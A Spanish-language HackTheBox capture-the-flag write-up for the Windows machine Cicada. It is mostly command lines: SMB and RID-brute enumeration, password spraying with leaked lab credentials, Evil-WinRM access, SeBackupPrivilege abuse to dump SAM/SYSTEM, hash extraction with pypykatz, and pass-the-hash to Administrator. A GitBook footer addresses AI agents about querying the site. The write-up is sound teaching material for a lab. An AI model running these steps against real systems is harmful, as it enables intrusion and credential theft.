> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md).

# Resolución de HackTheBox Cicada

{% embed url="<https://app.hackthebox.com/machines/Cicada>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración SMB (RID-Brute)
* Filtración de información (descripción del usuario) (netexec)
* Escalada de privilegios (SeBackupPrivilege)
* Extracción de SAM (pypykatz)
* Pass-the-Hash (EvilWinRM)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/dc005d85795c82e2c64c0da746cfbe8d6f76528b" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/821e5b7adefce76d71cc2f778bbd7e9719789609" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts
```

<figure><img src="/files/dca5059726fab27ba988be6fce34f3a37d70ebe9" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (53.88,135,139.389,445,464,593,636,3268,3269,5985,5169)

<figure><img src="/files/0e4025ed16c0c382023a31d6c2df4c15eff3b69a" alt=""><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted
```

<figure><img src="/files/335bc492c814234d17d9e65ede497a33b81acd63" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c7e1f22e2cdab99ce9984962de1332aedde85bb1" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

<figure><img src="/files/b09ba70b9051a7810231a3b4b5beb4b7ba12d8e7" alt=""><figcaption></figcaption></figure>

### Puerto 445 - SMB

**Listado de SMB con smbmap**

Para listar recursos compartidos con una sesión nula:

```bash
smbmap -H 10.10.11.35 -u 'null'
```

<figure><img src="/files/ce5e8a37c148403319405ec89c350ed97cbba439" alt=""><figcaption></figcaption></figure>

El **HR** la carpeta contiene un archivo de texto interesante. Exploramos su contenido:

```bash
smbmap -H 10.10.11.35 -u 'null' -r HR
```

<figure><img src="/files/4a686a8db35fe45af8f27abf38fa1bb2d5850bd8" alt=""><figcaption></figcaption></figure>

**Descargar archivo**

Accedemos al recurso compartido y descargamos el archivo:

```bash
smbclient //10.10.11.35/HR -N
get "Notice from HR.txt"
```

<figure><img src="/files/8a7fa18137dd496a8f60579e706803295f57745b" alt=""><figcaption></figcaption></figure>

El archivo contiene una contraseña

* contraseña: `Cicada$M6Corpb*@Lp#nZp!8`

<figure><img src="/files/1e8a57466495f6513f7d8d5e19a4696ec83d611a" alt=""><figcaption></figcaption></figure>

## Lista RID-Brute

#### Para identificar usuarios del dominio, lanzamos un ataque RID-Brute:

```bash
crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute
```

> El `--rid-brute` parámetro se utiliza para realizar u&#x6E;*/* ataque de fuerza bruta/*/* en **RID (Identificadores Relacionados)** usuarios en un dominio de Windows. Un RID forma parte del identificador único de un usuario en un sistema Windows y generalmente se utiliza para identificar cuentas de usuario y grupos

<figure><img src="/files/335536a662a7dc24a1fd0b49ef50ad47a2c6d466" alt=""><figcaption></figcaption></figure>

Aquí está la lista de usuarios encontrados:

```
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
```

#### Validación de usuario

Probamos la contraseña encontrada para todos los usuarios:

```bash
crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
```

El usuario **michael.wrightson** usa esta contraseña.

<figure><img src="/files/c52633d6f104a0e29fa160d01dea24b9070ad252" alt=""><figcaption></figcaption></figure>

### Usuario Michael:

### Enumeración con netexec

Usamos **michael.wrightson** credenciales para explorar más a fondo:

```bash
netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
```

<figure><img src="/files/24e050aa9b694a8c5da20d9f08cd1c5924df2ba8" alt=""><figcaption></figcaption></figure>

Esto revela la contraseña en texto claro del usuario **david.orelious**:

* nombre de usuario: `david.orelious`
* contraseña: `aRt$Lp#7t*VQ!3`

/*/Validación y enumeración SMB con las credenciales en //* **david.orelious**

### Pivotando al usuario David

Validamos los IDs de david.orelious con CrackMapExec:

```bash
crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
```

<figure><img src="/files/5daaf140b0fc7d1618af3099f6e0994075fb5f51" alt=""><figcaption></figcaption></figure>

Luego exploramos los recursos SMB accesibles en el objetivo con smbmap:

```bash
smbmap -H 10.10.11.35 -u david.orelious
```

<figure><img src="/files/b4414618dbce500d0fbd717bf20d78a6f1bf39fb" alt=""><figcaption></figcaption></figure>

Luego nos conectamos al recurso compartido DEV con smbclient:

```bash
smbclient //10.10.11.35/DEV -U david.orelious
```

En este recurso compartido encontramos un script llamado backup/ script.ps1.

<figure><img src="/files/ac14b6065ad916f9ee1dd421e39cdd7565027e9b" alt=""><figcaption></figcaption></figure>

### Pivotando al usuario Emily

Descargamos el script backup/ script.ps1 con el comando get y descubrimos el ID de usuario emily.oscars

* nombre de usuario: emily.oscars
* contraseña: Q!3\@Lp#M6b/\*7t/\*Vt

<figure><img src="/files/76c0df5123122e3bb04152f388fa67ced4b95c45" alt=""><figcaption></figcaption></figure>

Validamos estas credenciales con CrackMapExec:

```bash
crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

Luego nos conectamos a la máquina con Evil-WinRM:

```bash
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

<figure><img src="/files/ba5d4b27058c50bb3d9521d0a3d584095c44f52a" alt=""><figcaption></figcaption></figure>

### Bandera user.txt

Recuperamos la bandera del archivo user.txt.

<figure><img src="/files/caf8fd50dbebf86653ba0cab61db65b9b5e04961" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

### whoami /priv - SeBackupPrivilege

{% embed url="<https://starlox.medium.com/windows-privesc-with-sebackupprivilege-enable-b9e949219caf>" %}

**Comprobación de privilegios**

Para empezar, verifiquemos los privilegios del usuario actual. Ejecuta el siguiente comando para comprobar si el usuario tiene el `SeBackupPrivilege` privilegio:

```bash
whoami /priv
```

<figure><img src="/files/3b091ea368bcbcfcbb47299c3ff5394327e0556f" alt=""><figcaption></figcaption></figure>

**Descargar los archivos DLL necesarios**

Para abusar de estos privilegios, descarga los archivos DLL en la máquina víctima. Están disponibles [aquí](https://github.com/giuliano108/SeBackupPrivilege).

1. **SeBackupPrivilegeCmdLets.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll>" %}

2. **SeBackupPrivilegeUtils.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll>" %}

Descarga estos archivos en la máquina víctima usando los siguientes comandos

```powershell
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
```

<figure><img src="/files/43ef3290db082808449d0e572d81144778df0a1f" alt=""><figcaption></figcaption></figure>

**Carga de módulos DLL**

Una vez descargados los archivos DLL, cárgalos en la sesión de PowerShell usando los siguientes comandos:

```powershell
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

**Respaldar los archivos SAM y SYSTEM**

Ahora guardaremos los `SAM` y `SYSTEM` archivos que contienen la información de identificación del usuario. Usa los siguientes comandos para guardarlos:

```powershell
reg save hklm/sam sam
reg save hklm/system system
```

<figure><img src="/files/49d79bd65e3c12af5057705b0944011b5359eb61" alt=""><figcaption></figcaption></figure>

**Descargar los archivos SAM y SYSTEM**

Después de guardar los archivos, puedes descargarlos a tu máquina virtual (VM) para analizarlos:

```powershell
download sam
download system
```

<figure><img src="/files/cb40980796a014550fbd81c2e22ee8d5d06a80bd" alt=""><figcaption></figcaption></figure>

### **Extracción de hashes del archivo SAM**

Utilice `samdump2` para extraer hashes de `SAM` y `SYSTEM` archivos:

```bash
samdump2 system sam
```

<figure><img src="/files/86630ec109e91f839aa3f567bbe2fce5f11790c4" alt=""><figcaption></figcaption></figure>

Si este comando no funciona, puedes probar `pypykatz` para extraer los hashes directamente:

```bash
pypykatz registry system --sam sam
```

<figure><img src="/files/39a5571fa3b84087f158f46e7d02b6c6cf33f3eb" alt=""><figcaption></figcaption></figure>

Esto debería proporcionar un hash válido, por ejemplo:

* hash: `2b87e7c93a3e8a0ea4a581937016f341`

### **Pass-the-Hash con Evil-WinRM**

Ahora que tienes el hash, puedes usarlo para realizar un "Pass-the-Hash" y conectarte a la máquina objetivo usando `evil-winrm`:

```bash
evil-winrm  -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="/files/da3c2a5e5d228a87602a7a717a2fc804b0901841" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/6674ea7084d10fa3bd879706c4db65d9550bc919" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/14f0bb87d5be0961ba4703db105444fe1fc380fc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
